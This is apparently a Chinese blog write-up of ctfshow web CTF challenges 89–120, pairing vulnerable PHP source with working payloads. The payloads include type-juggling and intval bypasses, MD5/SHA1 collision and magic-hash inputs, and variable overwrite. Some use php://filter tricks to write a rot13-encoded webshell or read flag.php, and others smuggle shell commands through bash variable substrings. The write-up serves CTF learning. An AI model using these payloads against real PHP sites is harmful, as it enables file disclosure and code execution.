ctfshow之Web入门刷题记（从89开始，持续更新）

0x01Web89-99PHP特性payload

Web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

//这里主要是对数字进行了过滤，并且又要GET请求传入的num变量为数字或数字串，关于preg_match()函数一个漏洞——>无法处理数组
Paylaod:?num[]=10

Web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

//强比较+intval函数
Payload:?num=4476e

Web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

//这里有有两个条件，第一个需要是php，第二个又不可以php，不过有个差距就是m模式，/m代表匹配多行数据，这里可以通过%0a进行绕过
Payload:?cmd=%0aphp

Web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

//这里不能是4476，但是又要是4476，intval可以识别十六进制为十进制
Payload:?num=0x117c

Web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

//ban掉了字母，但是可以用八进制绕过
Payload:?num=010574

Web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

//不能以0开头了，这时候可以试试小数，intval只识别整数部分
Payload:?num=4476.0001

Web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

//弱比较不可以是4476，然后是传入参数不可以存在大小写的26个字母和“.”，接着是不可以以0开头，最后结束匹配时需要4476，一开始的若比较，这里可以用010574(4476的八进制)绕过，直接到了strpos函数这里，这里不能以0开头，去看了看intval函数的发现最开头可以如果是+还是可以识别为原数
Payload:?num=+010574

Web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

//题目有一丝丝的奇怪，不过不能以相对路径读的话，就以绝对路径读就可以了
Payload:?u=/var/www/html/flag.php
//或者也可以返回上一级然后再回来读取
Payload:?u=../html/flag.php

Web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

//简单的md5碰撞，没啥好说的
Payload:
POST:a[]=1&b[]=2
POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

//考点：变量覆盖、三元运算符、&在php中的引用作用
//一开始不知道是什么意思，问了一下大师傅，他跟我说了一下三元运算符以及&的作用
//解释一下
//第一句的意思是如果存在GET请求则引用POST请求的内容
//接下来两句好像没啥用，不过为了保险，还是直接还是把flag=xx
//最关键的就是HTTP_FALG=flag，这样才就能回显flag了
//尝试了一下发现第一句存在变量覆盖的效果，所以GET请求不管给什么东西都会被POST请求覆盖掉
Payload:GET:?xxx  POST:flag=xx&HTTP_FLAG=flag

Web99

highlight_file(__FILE__);
$allow = array();
for ($i=0; $i < 0x36d; $i++) {
    array_push($allow, rand(0,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

//array_push()函数向allow数组的尾部添加一个元素，该元素由rand()函数返回一个随机数
//传入的参数中要有allow数组中的数字，然后是一个文件包含
//文件包含可以用php://filter伪协议，可以使用base64或者rot13，这样包含了数字
Payload:?n=php://filter/write=string%.rot13/resource=sh.php  POST:content=<?cuc flfgrz("gnp *.cuc");?>

Web101

找个时间补

Web102

与103相同

Web103

[https://www.cnblogs.com/erR0Ratao/p/13731541.html

Web104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

//由题可知，只需要v1的sha1的值等于v2的sha1值，即可获得flag
//百度查一下sha1碰撞
//这里是弱比较，所以作用就是sha1后为'0e'开头
Payload:
GET:?v2=aaroZmOk
POST:v1=aaK1STfY

Web105

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces='既然你想要那给你吧！';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

//一道变量覆盖的题目，由$$key=$$value确定，意思就是$key的内容作为变量，例如：$key=xx，$$key=$xx
//GET请求的时候不能出现error，但是这里给了另外一个变量$suces，我们可以将$flag值赋给$suces
//POST请求的时候不能出现flag，但是我们第一步已经把值赋给$suces了，所以这里不用出现$flag，只需要$suces把值赋给$error
//最后再判断flag是否等于$flag，让flag!=$flag，输出$error即可
Payload:
GET:?suces=flag
POST:error=suces

Web106

<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

//之前那题没认真审题，都不需要sha1碰撞，这里才需要，直接看Web104即可

Web107

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>

//这里有个parse_str()的函数，百度了一下语法
//parse_str(string,array) 函数在string中查询字符串解析到array数组变量中
//后面的那个md5就简单了
Payload:
GET:?v3=240610708
POST:v1=flag=0e462097431906509019562988736854

Web108

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

//ereg函数存在一个明显的漏洞：%00截断
//strrev反转字符串
Payload:?c=xx%00778

Web111

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

//前两个正则匹配过滤了许多的字符，但是没过滤大小写字母
//第三个正则需要$v1为ctfshow
//进行了一个自定义函数，这里eval("$$v1=&$$v2")等于eval("$ctfshow=&$$v2")，最后打印出来，已知最后是用var_dump而不是echo，可以使用数组输出的，所以这里可以让$ctfshow=&$GLOBALS
//通过利用超全局变量将所有可用的变量都打印出来
Payload:?v1=ctfshow&v2=GLOBALS

Web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

//这里对php://filter伪协议的加密过程进行了过滤，但是使用伪协议的过滤器时会先进行一次url编码，所以这里可以用二次编码绕过过滤，题目类似WMCTF2020的checkin
Payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php

Web116

打开后是一个视频，先保存下来，使用binwalk查看，发现存在一个png的图片，然后截下来查看一下，发现是源码，过滤的内容和Web112差不多，可以直接用二次绕过进行。Payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php，这里的格式为mp4，直接访问是没有的，可以通过抓包获取base64的编码

Web117

<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

//正则匹配了了一些过滤器，不过可以使用二次编码绕过，这里添加了<?php die();?>，如果不进行修改的话就会无效了，这里可以用通过rot13让它失效
Payload:
GET:?file=php://filter/write=%2573tring.%2572ot13/resource=sh.php
POST:contents=<?cuc flfgrz("gnp *.cuc");?>

Web118

F12有源码提示：，命令执行的题目

fuzz尝试了一下，可以使用大写字母和${}:?.~这些字符

${PATH}:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${PWD}:/var/www/html

发现使用${PATH:~A}可以导出最后一个字符n;${PWD:~A}导出l，则构成nl命令
Payload:POST:code=${PATH:~A}${PWD:~A} ????.???

Web119

过滤了PATH变量，不能使用找不到可以替代的"n"了，开了一个最简单的命令执行的题目，使用env命令，查看一下可以使用的变量，有点差别的是这里使用的PHP版本是7.3.22

USER=www-data
PHPIZE_DEPS=autoconf 		dpkg-dev dpkg 		file 		g++ 		gcc 		libc-dev 		make 		pkgconf 		re2c
PHP_VERSION=7.3.22

找到了这几个变量可以构建出cat ????.???这样子，使用方式如下

echo ${PHPIZE_DEPS:~A}
//返回c
echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
//返回at

Payload:${PHPIZE_DEPS:~A}${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

Web120

上面的Payload并没有被过滤到，不过长度受限了，要小于65，上面的Payload长度为70，这里可以使用SHLVL变量替代PHP_VERSION变量，这样就可以绕过了

Payload:POST:code=${PHPIZE_DEPS:~A}${USER:~${SHLVL:~A}:${SHLVL:~A}} ????.???

本文作者：erR0Ratao

本文链接：https://www.cnblogs.com/erR0Ratao/p/13693066.html